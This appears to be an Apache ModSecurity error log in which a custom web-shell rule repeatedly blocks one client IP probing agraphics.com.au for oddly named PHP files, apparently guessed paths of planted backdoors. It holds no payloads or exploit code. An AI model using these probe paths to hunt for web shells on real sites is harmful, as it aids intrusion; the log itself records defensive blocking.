[Sun Mar 29 05:02:45.769820 2026] [:error] [pid 32254:tid 32282] [client 20.122.187.158:28288] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cxs.php"] [unique_id "achB9aug2IHuyGgCTn8MPgAAABI"]
[Sun Mar 29 05:02:46.178304 2026] [:error] [pid 32359:tid 32366] [client 20.122.187.158:28377] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cxs.php"] [unique_id "achB9gMb8G3UzfQP3WjKYwAAAMU"]
[Sun Mar 29 05:02:46.583427 2026] [:error] [pid 32359:tid 32371] [client 20.122.187.158:28366] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-scanner.php"] [unique_id "achB9gMb8G3UzfQP3WjKZQAAAMo"]
[Sun Mar 29 05:02:46.995889 2026] [:error] [pid 32257:tid 32321] [client 20.122.187.158:28368] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-scanner.php"] [unique_id "achB9iE3TArOFrUtgWol7gAAAIM"]
[Sun Mar 29 05:02:47.405860 2026] [:error] [pid 32257:tid 32320] [client 20.122.187.158:28401] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-scanner.php"] [unique_id "achB9yE3TArOFrUtgWol8AAAAII"]
[Sun Mar 29 05:02:47.832013 2026] [:error] [pid 32257:tid 32324] [client 20.122.187.158:28382] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-scanner.php"] [unique_id "achB9yE3TArOFrUtgWol8gAAAIY"]
[Sun Mar 29 05:02:48.237580 2026] [:error] [pid 32255:tid 32292] [client 20.122.187.158:28363] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "achB-Gnfn-AtRoMbquxE6wAAAEE"]
[Sun Mar 29 05:02:48.637749 2026] [:error] [pid 32359:tid 32376] [client 20.122.187.158:28295] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "achB-AMb8G3UzfQP3WjKawAAAM8"]
[Sun Mar 29 05:02:49.042152 2026] [:error] [pid 32359:tid 32381] [client 20.122.187.158:28379] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "achB-QMb8G3UzfQP3WjKbQAAANQ"]
[Sun Mar 29 05:02:49.446837 2026] [:error] [pid 32254:tid 32273] [client 20.122.187.158:28302] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awh.php"] [unique_id "achB-aug2IHuyGgCTn8MQgAAAAk"]
[Sun Mar 29 05:02:49.873844 2026] [:error] [pid 32257:tid 32326] [client 20.122.187.158:28356] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/24.php"] [unique_id "achB-SE3TArOFrUtgWol9gAAAIg"]
[Sun Mar 29 05:02:50.289765 2026] [:error] [pid 32254:tid 32281] [client 20.122.187.158:28362] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/24.php"] [unique_id "achB-qug2IHuyGgCTn8MQwAAABE"]
[Sun Mar 29 05:02:50.709663 2026] [:error] [pid 32257:tid 32338] [client 20.122.187.158:28399] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/24.php"] [unique_id "achB-iE3TArOFrUtgWol-QAAAJQ"]
[Sun Mar 29 05:02:51.115643 2026] [:error] [pid 32257:tid 32318] [client 20.122.187.158:28303] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/24.php"] [unique_id "achB-yE3TArOFrUtgWol-gAAAIA"]
[Sun Mar 29 05:02:51.534033 2026] [:error] [pid 32255:tid 32294] [client 20.122.187.158:28306] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "achB-2nfn-AtRoMbquxE8AAAAEM"]
[Sun Mar 29 05:02:51.951944 2026] [:error] [pid 1524:tid 1542] [client 20.122.187.158:28406] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "achB-1oaWSl2asqQCh8N6wAAAQs"]
[Sun Mar 29 05:02:52.361658 2026] [:error] [pid 32255:tid 32308] [client 20.122.187.158:28403] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "achB_Gnfn-AtRoMbquxE8QAAAFE"]
[Sun Mar 29 05:02:52.775097 2026] [:error] [pid 32254:tid 32266] [client 20.122.187.158:28319] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "achB_Kug2IHuyGgCTn8MRgAAAAI"]
[Sun Mar 29 05:02:53.196721 2026] [:error] [pid 1524:tid 1533] [client 20.122.187.158:28331] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feokc.php"] [unique_id "achB_VoaWSl2asqQCh8N7AAAAQU"]
[Sun Mar 29 05:02:53.609195 2026] [:error] [pid 32359:tid 32373] [client 20.122.187.158:28304] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feokc.php"] [unique_id "achB_QMb8G3UzfQP3WjKeAAAAMw"]
[Sun Mar 29 05:02:54.016840 2026] [:error] [pid 32359:tid 32365] [client 20.122.187.158:28402] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feokc.php"] [unique_id "achB_gMb8G3UzfQP3WjKeQAAAMQ"]
[Sun Mar 29 05:02:54.418463 2026] [:error] [pid 32254:tid 32283] [client 20.122.187.158:28376] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feokc.php"] [unique_id "achB_qug2IHuyGgCTn8MSQAAABM"]
[Sun Mar 29 05:02:54.824982 2026] [:error] [pid 1524:tid 1556] [client 20.122.187.158:28296] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "achB_loaWSl2asqQCh8N7QAAARg"]
[Sun Mar 29 05:02:55.245677 2026] [:error] [pid 32359:tid 32370] [client 20.122.187.158:28385] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "achB_wMb8G3UzfQP3WjKfAAAAMk"]
[Sun Mar 29 05:02:55.652675 2026] [:error] [pid 32255:tid 32301] [client 20.122.187.158:28408] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "achB_2nfn-AtRoMbquxE8wAAAEo"]
[Sun Mar 29 05:02:56.053961 2026] [:error] [pid 32255:tid 32291] [client 20.122.187.158:28364] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fetch.php"] [unique_id "achCAGnfn-AtRoMbquxE9AAAAEA"]
[Sun Mar 29 05:02:56.471508 2026] [:error] [pid 32359:tid 32381] [client 20.122.187.158:28305] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpmini.php"] [unique_id "achCAAMb8G3UzfQP3WjKfQAAANQ"]
[Sun Mar 29 05:02:56.891701 2026] [:error] [pid 32255:tid 32293] [client 20.122.187.158:28352] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpmini.php"] [unique_id "achCAGnfn-AtRoMbquxE9gAAAEI"]
[Sun Mar 29 05:02:57.296640 2026] [:error] [pid 32359:tid 32374] [client 20.122.187.158:28317] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpmini.php"] [unique_id "achCAQMb8G3UzfQP3WjKfgAAAM0"]
[Sun Mar 29 05:02:57.708759 2026] [:error] [pid 32255:tid 32305] [client 20.122.187.158:28404] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpmini.php"] [unique_id "achCAWnfn-AtRoMbquxE9wAAAE4"]
[Sun Mar 29 05:02:58.121952 2026] [:error] [pid 32359:tid 32378] [client 20.122.187.158:28289] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an7.php"] [unique_id "achCAgMb8G3UzfQP3WjKfwAAANE"]
[Sun Mar 29 05:02:58.527298 2026] [:error] [pid 32255:tid 32304] [client 20.122.187.158:28322] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an7.php"] [unique_id "achCAmnfn-AtRoMbquxE-QAAAE0"]
[Sun Mar 29 05:02:58.929544 2026] [:error] [pid 32255:tid 32297] [client 20.122.187.158:28339] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an7.php"] [unique_id "achCAmnfn-AtRoMbquxE-gAAAEY"]
[Sun Mar 29 05:02:59.335385 2026] [:error] [pid 32359:tid 32366] [client 20.122.187.158:28301] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an7.php"] [unique_id "achCAwMb8G3UzfQP3WjKgQAAAMU"]
[Sun Mar 29 05:02:59.735037 2026] [:error] [pid 32359:tid 32384] [client 20.122.187.158:28294] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tbute.php"] [unique_id "achCAwMb8G3UzfQP3WjKggAAANc"]
[Sun Mar 29 05:03:00.135943 2026] [:error] [pid 1524:tid 1535] [client 20.122.187.158:28239] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tbute.php"] [unique_id "achCBFoaWSl2asqQCh8N9gAAAQY"]
[Sun Mar 29 05:03:00.589514 2026] [:error] [pid 1524:tid 1546] [client 20.122.187.158:28367] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tbute.php"] [unique_id "achCBFoaWSl2asqQCh8N9wAAAQ8"]
[Sun Mar 29 05:03:00.999353 2026] [:error] [pid 1524:tid 1554] [client 20.122.187.158:28407] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tbute.php"] [unique_id "achCBFoaWSl2asqQCh8N-AAAARY"]
[Sun Mar 29 05:03:01.417092 2026] [:error] [pid 32255:tid 32300] [client 20.122.187.158:28316] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rovoj.php"] [unique_id "achCBWnfn-AtRoMbquxE_wAAAEk"]
[Sun Mar 29 05:03:01.821605 2026] [:error] [pid 1524:tid 1531] [client 20.122.187.158:28290] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rovoj.php"] [unique_id "achCBVoaWSl2asqQCh8N-wAAAQM"]
[Sun Mar 29 05:03:02.227862 2026] [:error] [pid 32257:tid 32340] [client 20.122.187.158:28410] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rovoj.php"] [unique_id "achCBiE3TArOFrUtgWol-wAAAJY"]
[Sun Mar 29 05:03:02.642248 2026] [:error] [pid 32257:tid 32325] [client 20.122.187.158:28357] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rovoj.php"] [unique_id "achCBiE3TArOFrUtgWol_AAAAIc"]
[Sun Mar 29 05:03:03.056273 2026] [:error] [pid 32255:tid 32310] [client 20.122.187.158:28371] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r3grt7.php"] [unique_id "achCB2nfn-AtRoMbquxFAQAAAFM"]
[Sun Mar 29 05:03:03.457072 2026] [:error] [pid 32254:tid 32278] [client 20.122.187.158:28398] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r3grt7.php"] [unique_id "achCB6ug2IHuyGgCTn8MSwAAAA4"]
[Sun Mar 29 05:03:03.863466 2026] [:error] [pid 1524:tid 1555] [client 20.122.187.158:28300] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r3grt7.php"] [unique_id "achCB1oaWSl2asqQCh8N_QAAARc"]
[Sun Mar 29 05:03:04.281632 2026] [:error] [pid 32257:tid 32336] [client 20.122.187.158:28384] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r3grt7.php"] [unique_id "achCCCE3TArOFrUtgWol_QAAAJI"]
[Sun Mar 29 05:03:04.702350 2026] [:error] [pid 32257:tid 32333] [client 20.122.187.158:28395] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phina.php"] [unique_id "achCCCE3TArOFrUtgWol_wAAAI8"]
[Sun Mar 29 05:03:05.106955 2026] [:error] [pid 32257:tid 32329] [client 20.122.187.158:28390] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phina.php"] [unique_id "achCCSE3TArOFrUtgWomAQAAAIs"]
[Sun Mar 29 05:03:05.509890 2026] [:error] [pid 32257:tid 32320] [client 20.122.187.158:28372] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phina.php"] [unique_id "achCCSE3TArOFrUtgWomAgAAAII"]
[Sun Mar 29 05:03:05.912471 2026] [:error] [pid 32257:tid 32328] [client 20.122.187.158:28358] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phina.php"] [unique_id "achCCSE3TArOFrUtgWomBAAAAIo"]
[Sun Mar 29 05:03:06.320605 2026] [:error] [pid 32257:tid 32335] [client 20.122.187.158:28310] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "achCCiE3TArOFrUtgWomBgAAAJE"]
[Sun Mar 29 05:03:06.735712 2026] [:error] [pid 32257:tid 32323] [client 20.122.187.158:28291] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "achCCiE3TArOFrUtgWomBwAAAIU"]
[Sun Mar 29 05:03:07.136707 2026] [:error] [pid 1524:tid 1556] [client 20.122.187.158:28323] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "achCC1oaWSl2asqQCh8N_wAAARg"]
[Sun Mar 29 05:03:07.537163 2026] [:error] [pid 32257:tid 32319] [client 20.122.187.158:28299] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "achCCyE3TArOFrUtgWomCAAAAIE"]
[Sun Mar 29 05:03:07.946677 2026] [:error] [pid 32359:tid 32373] [client 20.122.187.158:28413] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs6.php"] [unique_id "achCCwMb8G3UzfQP3WjKhgAAAMw"]
[Sun Mar 29 05:03:08.353564 2026] [:error] [pid 1524:tid 1537] [client 20.122.187.158:28293] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs6.php"] [unique_id "achCDFoaWSl2asqQCh8OAgAAAQg"]
[Sun Mar 29 05:03:08.754799 2026] [:error] [pid 32257:tid 32318] [client 20.122.187.158:28307] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs6.php"] [unique_id "achCDCE3TArOFrUtgWomDAAAAIA"]
